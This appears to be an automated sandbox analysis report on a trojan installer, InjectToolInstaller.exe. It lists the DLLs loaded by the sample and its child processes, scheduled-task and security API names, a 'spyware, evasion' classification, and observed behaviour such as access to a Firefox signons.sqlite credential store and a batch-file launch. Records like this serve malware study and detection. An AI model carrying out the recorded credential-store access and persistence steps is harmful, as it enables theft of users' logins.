Source: InjectToolInstaller.exe, 00000000.00000003.382514881.0000000000464000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameSHDOCVW.DLL.MUIj% vs InjectToolInstaller.exe
Source: InjectToolInstaller.exe	Binary or memory string: OriginalFilename7zS.sfx.exe< vs InjectToolInstaller.exe

Source: C:\Users\user\Desktop\InjectToolInstaller.exe	Section loaded: wow64win.dll	Jump to behavior
Source: C:\Users\user\Desktop\InjectToolInstaller.exe	Section loaded: wow64cpu.dll	Jump to behavior
Source: C:\Users\user\Desktop\InjectToolInstaller.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\InjectToolInstaller.exe	Section loaded: ext-ms-win-kernel32-package-current-l1-1-0.dll	Jump to behavior
Source: C:\Users\user\Desktop\InjectToolInstaller.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\Desktop\InjectToolInstaller.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\InjectToolInstaller.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\InjectToolInstaller.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\InjectToolInstaller.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\InjectToolInstaller.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\Desktop\InjectToolInstaller.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Users\user\Desktop\InjectToolInstaller.exe	Section loaded: devrtl.dll	Jump to behavior
Source: C:\Users\user\Desktop\InjectToolInstaller.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: wow64win.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: wow64cpu.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: winbrand.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: wow64win.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: wow64cpu.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: winbrand.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: wow64win.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: wow64cpu.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: winbrand.dll
Source: C:\Windows\SysWOW64\PING.EXE	Section loaded: wow64win.dll
Source: C:\Windows\SysWOW64\PING.EXE	Section loaded: wow64cpu.dll
Source: C:\Windows\SysWOW64\PING.EXE	Section loaded: iphlpapi.dll
Source: C:\Windows\SysWOW64\PING.EXE	Section loaded: winnsi.dll
Source: C:\Windows\SysWOW64\net.exe	Section loaded: wow64win.dll
Source: C:\Windows\SysWOW64\net.exe	Section loaded: wow64cpu.dll
Source: C:\Windows\SysWOW64\net.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\net.exe	Section loaded: browcli.dll
Source: C:\Windows\SysWOW64\net.exe	Section loaded: samcli.dll
Source: C:\Windows\SysWOW64\net.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\net.exe	Section loaded: wkscli.dll
Source: C:\Windows\SysWOW64\net.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\net.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\SysWOW64\net.exe	Section loaded: winnsi.dll
Source: C:\Windows\SysWOW64\net1.exe	Section loaded: wow64win.dll
Source: C:\Windows\SysWOW64\net1.exe	Section loaded: wow64cpu.dll
Source: C:\Windows\SysWOW64\net1.exe	Section loaded: dsrole.dll
Source: C:\Windows\SysWOW64\net1.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\net1.exe	Section loaded: logoncli.dll
Source: C:\Windows\SysWOW64\net1.exe	Section loaded: browcli.dll
Source: C:\Windows\SysWOW64\net1.exe	Section loaded: samcli.dll
Source: C:\Windows\SysWOW64\net1.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\net1.exe	Section loaded: wkscli.dll
Source: C:\Windows\SysWOW64\net1.exe	Section loaded: netapi32.dll
Source: C:\Windows\SysWOW64\net1.exe	Section loaded: samlib.dll
Source: C:\Windows\SysWOW64\net1.exe	Section loaded: ntdsapi.dll
Source: C:\Windows\SysWOW64\net1.exe	Section loaded: netmsg.dll
Source: C:\Windows\SysWOW64\PING.EXE	Section loaded: wow64win.dll
Source: C:\Windows\SysWOW64\PING.EXE	Section loaded: wow64cpu.dll
Source: C:\Windows\SysWOW64\PING.EXE	Section loaded: iphlpapi.dll
Source: C:\Windows\SysWOW64\PING.EXE	Section loaded: winnsi.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: wow64win.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: wow64cpu.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: winbrand.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: propsys.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: ntmarta.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: secur32.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: sfc_os.dll
Source: C:\Windows\SysWOW64\net.exe	Section loaded: wow64win.dll
Source: C:\Windows\SysWOW64\net.exe	Section loaded: wow64cpu.dll
Source: C:\Windows\SysWOW64\net.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\net.exe	Section loaded: browcli.dll
Source: C:\Windows\SysWOW64\net.exe	Section loaded: samcli.dll
Source: C:\Windows\SysWOW64\net.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\net.exe	Section loaded: wkscli.dll
Source: C:\Windows\SysWOW64\net.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\net.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\SysWOW64\net.exe	Section loaded: winnsi.dll
Source: C:\Windows\SysWOW64\net1.exe	Section loaded: wow64win.dll
Source: C:\Windows\SysWOW64\net1.exe	Section loaded: wow64cpu.dll
Source: C:\Windows\SysWOW64\net1.exe	Section loaded: dsrole.dll
Source: C:\Windows\SysWOW64\net1.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\net1.exe	Section loaded: logoncli.dll
Source: C:\Windows\SysWOW64\net1.exe	Section loaded: browcli.dll
Source: C:\Windows\SysWOW64\net1.exe	Section loaded: samcli.dll
Source: C:\Windows\SysWOW64\net1.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\net1.exe	Section loaded: wkscli.dll
Source: C:\Windows\SysWOW64\net1.exe	Section loaded: netapi32.dll
Source: C:\Windows\SysWOW64\net1.exe	Section loaded: samlib.dll
Source: C:\Windows\SysWOW64\net1.exe	Section loaded: ntdsapi.dll
Source: C:\Windows\SysWOW64\net1.exe	Section loaded: netmsg.dll
Source: C:\Windows\SysWOW64\PING.EXE	Section loaded: wow64win.dll
Source: C:\Windows\SysWOW64\PING.EXE	Section loaded: wow64cpu.dll
Source: C:\Windows\SysWOW64\PING.EXE	Section loaded: iphlpapi.dll
Source: C:\Windows\SysWOW64\PING.EXE	Section loaded: winnsi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wow64win.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wow64cpu.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rpcrtremote.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcrypt.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\SysWOW64\PING.EXE	Section loaded: wow64win.dll
Source: C:\Windows\SysWOW64\PING.EXE	Section loaded: wow64cpu.dll
Source: C:\Windows\SysWOW64\PING.EXE	Section loaded: iphlpapi.dll
Source: C:\Windows\SysWOW64\PING.EXE	Section loaded: winnsi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wow64win.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wow64cpu.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rpcrtremote.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcrypt.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\SysWOW64\PING.EXE	Section loaded: wow64win.dll
Source: C:\Windows\SysWOW64\PING.EXE	Section loaded: wow64cpu.dll
Source: C:\Windows\SysWOW64\PING.EXE	Section loaded: iphlpapi.dll
Source: C:\Windows\SysWOW64\PING.EXE	Section loaded: winnsi.dll
Source: C:\Windows\SysWOW64\PING.EXE	Section loaded: wow64win.dll
Source: C:\Windows\SysWOW64\PING.EXE	Section loaded: wow64cpu.dll
Source: C:\Windows\SysWOW64\PING.EXE	Section loaded: iphlpapi.dll
Source: C:\Windows\SysWOW64\PING.EXE	Section loaded: winnsi.dll
Source: C:\Windows\SysWOW64\PING.EXE	Section loaded: wow64win.dll
Source: C:\Windows\SysWOW64\PING.EXE	Section loaded: wow64cpu.dll
Source: C:\Windows\SysWOW64\PING.EXE	Section loaded: iphlpapi.dll
Source: C:\Windows\SysWOW64\PING.EXE	Section loaded: winnsi.dll
Source: C:\Windows\SysWOW64\PING.EXE	Section loaded: wow64win.dll
Source: C:\Windows\SysWOW64\PING.EXE	Section loaded: wow64cpu.dll
Source: C:\Windows\SysWOW64\PING.EXE	Section loaded: iphlpapi.dll
Source: C:\Windows\SysWOW64\PING.EXE	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\data.exe	Section loaded: <pi-ms-win-core-synch-l1-2-0.dll
Source: C:\Users\user\AppData\Local\Temp\data.exe	Section loaded: <pi-ms-win-core-fibers-l1-1-1.dll
Source: C:\Users\user\AppData\Local\Temp\data.exe	Section loaded: <pi-ms-win-core-synch-l1-2-0.dll
Source: C:\Users\user\AppData\Local\Temp\data.exe	Section loaded: <pi-ms-win-core-fibers-l1-1-1.dll
Source: C:\Users\user\AppData\Local\Temp\data.exe	Section loaded: <pi-ms-win-core-localization-l1-2-1.dll
Source: C:\Users\user\AppData\Local\Temp\data.exe	Section loaded: windowscodecs.dll
Source: C:\Users\user\AppData\Local\Temp\data.exe	Section loaded: ext-ms-win-kernel32-package-current-l1-1-0.dll
Source: C:\Windows\SysWOW64\PING.EXE	Section loaded: wow64win.dll
Source: C:\Windows\SysWOW64\PING.EXE	Section loaded: wow64cpu.dll
Source: C:\Windows\SysWOW64\PING.EXE	Section loaded: iphlpapi.dll
Source: C:\Windows\SysWOW64\PING.EXE	Section loaded: winnsi.dll
Source: C:\Windows\SysWOW64\PING.EXE	Section loaded: wow64win.dll
Source: C:\Windows\SysWOW64\PING.EXE	Section loaded: wow64cpu.dll
Source: C:\Windows\SysWOW64\PING.EXE	Section loaded: iphlpapi.dll
Source: C:\Windows\SysWOW64\PING.EXE	Section loaded: winnsi.dll
Source: C:\Windows\SysWOW64\PING.EXE	Section loaded: wow64win.dll
Source: C:\Windows\SysWOW64\PING.EXE	Section loaded: wow64cpu.dll
Source: C:\Windows\SysWOW64\PING.EXE	Section loaded: iphlpapi.dll
Source: C:\Windows\SysWOW64\PING.EXE	Section loaded: winnsi.dll
Source: C:\Windows\SysWOW64\PING.EXE	Section loaded: wow64win.dll
Source: C:\Windows\SysWOW64\PING.EXE	Section loaded: wow64cpu.dll
Source: C:\Windows\SysWOW64\PING.EXE	Section loaded: iphlpapi.dll
Source: C:\Windows\SysWOW64\PING.EXE	Section loaded: winnsi.dll
Source: C:\Windows\SysWOW64\PING.EXE	Section loaded: wow64win.dll
Source: C:\Windows\SysWOW64\PING.EXE	Section loaded: wow64cpu.dll
Source: C:\Windows\SysWOW64\PING.EXE	Section loaded: iphlpapi.dll
Source: C:\Windows\SysWOW64\PING.EXE	Section loaded: winnsi.dll
Source: C:\Windows\SysWOW64\PING.EXE	Section loaded: wow64win.dll
Source: C:\Windows\SysWOW64\PING.EXE	Section loaded: wow64cpu.dll
Source: C:\Windows\SysWOW64\PING.EXE	Section loaded: iphlpapi.dll
Source: C:\Windows\SysWOW64\PING.EXE	Section loaded: winnsi.dll
Source: C:\Windows\SysWOW64\PING.EXE	Section loaded: wow64win.dll
Source: C:\Windows\SysWOW64\PING.EXE	Section loaded: wow64cpu.dll
Source: C:\Windows\SysWOW64\PING.EXE	Section loaded: iphlpapi.dll
Source: C:\Windows\SysWOW64\PING.EXE	Section loaded: winnsi.dll
Source: C:\Windows\SysWOW64\PING.EXE	Section loaded: wow64win.dll
Source: C:\Windows\SysWOW64\PING.EXE	Section loaded: wow64cpu.dll
Source: C:\Windows\SysWOW64\PING.EXE	Section loaded: iphlpapi.dll
Source: C:\Windows\SysWOW64\PING.EXE	Section loaded: winnsi.dll
Source: C:\Windows\SysWOW64\PING.EXE	Section loaded: wow64win.dll
Source: C:\Windows\SysWOW64\PING.EXE	Section loaded: wow64cpu.dll
Source: C:\Windows\SysWOW64\PING.EXE	Section loaded: iphlpapi.dll
Source: C:\Windows\SysWOW64\PING.EXE	Section loaded: winnsi.dll
Source: C:\Windows\SysWOW64\PING.EXE	Section loaded: wow64win.dll
Source: C:\Windows\SysWOW64\PING.EXE	Section loaded: wow64cpu.dll
Source: C:\Windows\SysWOW64\PING.EXE	Section loaded: iphlpapi.dll
Source: C:\Windows\SysWOW64\PING.EXE	Section loaded: winnsi.dll
Source: C:\Windows\SysWOW64\PING.EXE	Section loaded: wow64win.dll
Source: C:\Windows\SysWOW64\PING.EXE	Section loaded: wow64cpu.dll
Source: C:\Windows\SysWOW64\PING.EXE	Section loaded: iphlpapi.dll
Source: C:\Windows\SysWOW64\PING.EXE	Section loaded: winnsi.dll
Source: C:\Windows\SysWOW64\PING.EXE	Section loaded: wow64win.dll
Source: C:\Windows\SysWOW64\PING.EXE	Section loaded: wow64cpu.dll
Source: C:\Windows\SysWOW64\PING.EXE	Section loaded: iphlpapi.dll
Source: C:\Windows\SysWOW64\PING.EXE	Section loaded: winnsi.dll
Source: C:\Windows\SysWOW64\PING.EXE	Section loaded: wow64win.dll
Source: C:\Windows\SysWOW64\PING.EXE	Section loaded: wow64cpu.dll
Source: C:\Windows\SysWOW64\PING.EXE	Section loaded: iphlpapi.dll
Source: C:\Windows\SysWOW64\PING.EXE	Section loaded: winnsi.dll
Source: C:\Windows\SysWOW64\PING.EXE	Section loaded: wow64win.dll
Source: C:\Windows\SysWOW64\PING.EXE	Section loaded: wow64cpu.dll
Source: C:\Windows\SysWOW64\PING.EXE	Section loaded: iphlpapi.dll
Source: C:\Windows\SysWOW64\PING.EXE	Section loaded: winnsi.dll
Source: C:\Windows\SysWOW64\PING.EXE	Section loaded: wow64win.dll
Source: C:\Windows\SysWOW64\PING.EXE	Section loaded: wow64cpu.dll
Source: C:\Windows\SysWOW64\PING.EXE	Section loaded: iphlpapi.dll
Source: C:\Windows\SysWOW64\PING.EXE	Section loaded: winnsi.dll
Source: C:\Windows\SysWOW64\PING.EXE	Section loaded: wow64win.dll
Source: C:\Windows\SysWOW64\PING.EXE	Section loaded: wow64cpu.dll
Source: C:\Windows\SysWOW64\PING.EXE	Section loaded: iphlpapi.dll
Source: C:\Windows\SysWOW64\PING.EXE	Section loaded: winnsi.dll
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: wow64win.dll
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: wow64cpu.dll
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: sxs.dll
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: dwmapi.dll
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: cryptsp.dll
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: msisip.dll
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: propsys.dll
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: ntmarta.dll
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: apphelp.dll
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: secur32.dll
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: sfc_os.dll
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: devrtl.dll
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Section loaded: wow64win.dll
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Section loaded: wow64cpu.dll
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Section loaded: rpcrtremote.dll
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Section loaded: wbemcomn2.dll
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Section loaded: bcrypt.dll
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Section loaded: ntdsapi.dll
Source: C:\Windows\SysWOW64\PING.EXE	Section loaded: wow64win.dll
Source: C:\Windows\SysWOW64\PING.EXE	Section loaded: wow64cpu.dll
Source: C:\Windows\SysWOW64\PING.EXE	Section loaded: iphlpapi.dll
Source: C:\Windows\SysWOW64\PING.EXE	Section loaded: winnsi.dll
Source: C:\Windows\SysWOW64\PING.EXE	Section loaded: wow64win.dll
Source: C:\Windows\SysWOW64\PING.EXE	Section loaded: wow64cpu.dll
Source: C:\Windows\SysWOW64\PING.EXE	Section loaded: iphlpapi.dll
Source: C:\Windows\SysWOW64\PING.EXE	Section loaded: winnsi.dll
Source: C:\Windows\SysWOW64\PING.EXE	Section loaded: wow64win.dll
Source: C:\Windows\SysWOW64\PING.EXE	Section loaded: wow64cpu.dll
Source: C:\Windows\SysWOW64\PING.EXE	Section loaded: iphlpapi.dll
Source: C:\Windows\SysWOW64\PING.EXE	Section loaded: winnsi.dll
Source: C:\Windows\SysWOW64\PING.EXE	Section loaded: wow64win.dll
Source: C:\Windows\SysWOW64\PING.EXE	Section loaded: wow64cpu.dll
Source: C:\Windows\SysWOW64\PING.EXE	Section loaded: iphlpapi.dll
Source: C:\Windows\SysWOW64\PING.EXE	Section loaded: winnsi.dll
Source: C:\Windows\SysWOW64\PING.EXE	Section loaded: wow64win.dll
Source: C:\Windows\SysWOW64\PING.EXE	Section loaded: wow64cpu.dll
Source: C:\Windows\SysWOW64\PING.EXE	Section loaded: iphlpapi.dll
Source: C:\Windows\SysWOW64\PING.EXE	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Section loaded: wow64win.dll
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Section loaded: wow64cpu.dll
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Section loaded: bcrypt.dll
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Section loaded: webio.dll
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Section loaded: credssp.dll
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Section loaded: dhcpcsvc.dll
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Section loaded: secur32.dll
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Section loaded: vaultcli.dll
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Section loaded: windowscodecs.dll
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Section loaded: rpcrtremote.dll
Source: C:\Windows\SysWOW64\PING.EXE	Section loaded: wow64win.dll
Source: C:\Windows\SysWOW64\PING.EXE	Section loaded: wow64cpu.dll
Source: C:\Windows\SysWOW64\PING.EXE	Section loaded: iphlpapi.dll
Source: C:\Windows\SysWOW64\PING.EXE	Section loaded: winnsi.dll

Source: InjectToolInstaller.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 42.2.insta313tg.exe.37f2788.5.raw.unpack, ITaskFolder.cs	Task registration methods: 'RegisterTaskDefinition', 'RegisterTask'
Source: 42.2.insta313tg.exe.37f2788.5.raw.unpack, TaskFolder.cs	Task registration methods: 'RegisterTaskDefinition', 'RegisterTask', 'CreateFolder'
Source: 42.2.insta313tg.exe.37f2788.5.raw.unpack, Task.cs	Task registration methods: 'RegisterChanges', 'CreateTask'
Source: 42.2.insta313tg.exe.37f2788.5.raw.unpack, TaskService.cs	Task registration methods: 'CreateFromToken'
Source: 42.2.insta313tg.exe.4cb0000.7.raw.unpack, ITaskFolder.cs	Task registration methods: 'RegisterTaskDefinition', 'RegisterTask'
Source: 42.2.insta313tg.exe.4cb0000.7.raw.unpack, TaskFolder.cs	Task registration methods: 'RegisterTaskDefinition', 'RegisterTask', 'CreateFolder'

Source: 42.2.insta313tg.exe.37f2788.5.raw.unpack, User.cs	Security API names: System.Security.Principal.SecurityIdentifier.Translate(System.Type)
Source: 42.2.insta313tg.exe.37f2788.5.raw.unpack, TaskFolder.cs	Security API names: Microsoft.Win32.TaskScheduler.TaskFolder.GetAccessControl(System.Security.AccessControl.AccessControlSections)
Source: 42.2.insta313tg.exe.37f2788.5.raw.unpack, TaskPrincipal.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 42.2.insta313tg.exe.4cb0000.7.raw.unpack, TaskPrincipal.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 42.2.insta313tg.exe.4cb0000.7.raw.unpack, Task.cs	Security API names: Microsoft.Win32.TaskScheduler.Task.GetAccessControl(System.Security.AccessControl.AccessControlSections)
Source: 42.2.insta313tg.exe.37f2788.5.raw.unpack, Task.cs	Security API names: Microsoft.Win32.TaskScheduler.Task.GetAccessControl(System.Security.AccessControl.AccessControlSections)
Source: 42.2.insta313tg.exe.4cb0000.7.raw.unpack, TaskFolder.cs	Security API names: Microsoft.Win32.TaskScheduler.TaskFolder.GetAccessControl(System.Security.AccessControl.AccessControlSections)
Source: 42.2.insta313tg.exe.4cb0000.7.raw.unpack, TaskSecurity.cs	Security API names: Microsoft.Win32.TaskScheduler.TaskSecurity.GetAccessControlSectionsFromChanges()
Source: 42.2.insta313tg.exe.4cb0000.7.raw.unpack, TaskSecurity.cs	Security API names: System.Security.AccessControl.CommonObjectSecurity.AddAccessRule(System.Security.AccessControl.AccessRule)
Source: 42.2.insta313tg.exe.4cb0000.7.raw.unpack, User.cs	Security API names: System.Security.Principal.SecurityIdentifier.Translate(System.Type)
Source: 42.2.insta313tg.exe.37f2788.5.raw.unpack, TaskSecurity.cs	Security API names: Microsoft.Win32.TaskScheduler.TaskSecurity.GetAccessControlSectionsFromChanges()
Source: 42.2.insta313tg.exe.37f2788.5.raw.unpack, TaskSecurity.cs	Security API names: System.Security.AccessControl.CommonObjectSecurity.AddAccessRule(System.Security.AccessControl.AccessRule)

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@145/1085@5/5

Source: C:\Users\user\AppData\Local\Temp\data.exe

Code function: 24_2_000000013F298AD4 GetLastError,FormatMessageW,

24_2_000000013F298AD4

Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe

Code function: 48_2_005E4110 GetVersionExA,CreateFileW,CreateFileA,GetDiskFreeSpaceW,GetDiskFreeSpaceA,

48_2_005E4110

Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe

Code function: 48_2_0055C430 RegOpenKeyExA,RegQueryValueExA,RegCloseKey,GetCurrentHwProfileA,GetModuleHandleExA,GetModuleFileNameA,RegOpenKeyExA,RegQueryValueExA,RegCloseKey,GetComputerNameA,GetUserNameA,GetDesktopWindow,GetWindowRect,GetUserDefaultLocaleName,GetKeyboardLayoutList,GetKeyboardLayoutList,LocalAlloc,GetKeyboardLayoutList,GetLocaleInfoA,LocalFree,GetLocalTime,GetSystemTime,GetTimeZoneInformation,TzSpecificLocalTimeToSystemTime,RegOpenKeyExA,RegQueryValueExA,RegCloseKey,GetSystemInfo,GlobalMemoryStatusEx,EnumDisplayDevicesA,EnumDisplayDevicesA,CreateToolhelp32Snapshot,Process32First,Process32Next,Process32Next,Process32Next,CloseHandle,RegOpenKeyExA,RegEnumKeyExA,wsprintfA,RegOpenKeyExA,RegQueryValueExA,RegQueryValueExA,RegCloseKey,RegCloseKey,

48_2_0055C430

Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe

Code function: 48_2_00596230 CopyFileA,RegOpenKeyExA,RegSetValueExA,RegCloseKey,CopyFileA,GetUserNameA,CopyFileA,SHGetFolderPathA,CoInitialize,CoCreateInstance,MultiByteToWideChar,CoUninitialize,ShellExecuteA,

48_2_00596230

Source: C:\Users\user\AppData\Local\Temp\data.exe

Code function: 24_2_000000013F2B0C0C FindResourceW,SizeofResource,LoadResource,LockResource,GlobalAlloc,GlobalLock,CreateStreamOnHGlobal,GdipAlloc,GdipCreateHBITMAPFromBitmap,GlobalUnlock,GlobalFree,

24_2_000000013F2B0C0C

Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe

File created: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\7xwghk55.default\signons.sqlite

Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe

Mutant created: NULL

Source: C:\Users\user\Desktop\InjectToolInstaller.exe

File created: C:\Users\user\AppData\Local\Temp\7zS48C4B291

Jump to behavior

Source: C:\Users\user\Desktop\InjectToolInstaller.exe

Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\7zS48C4B291\run.bat" "
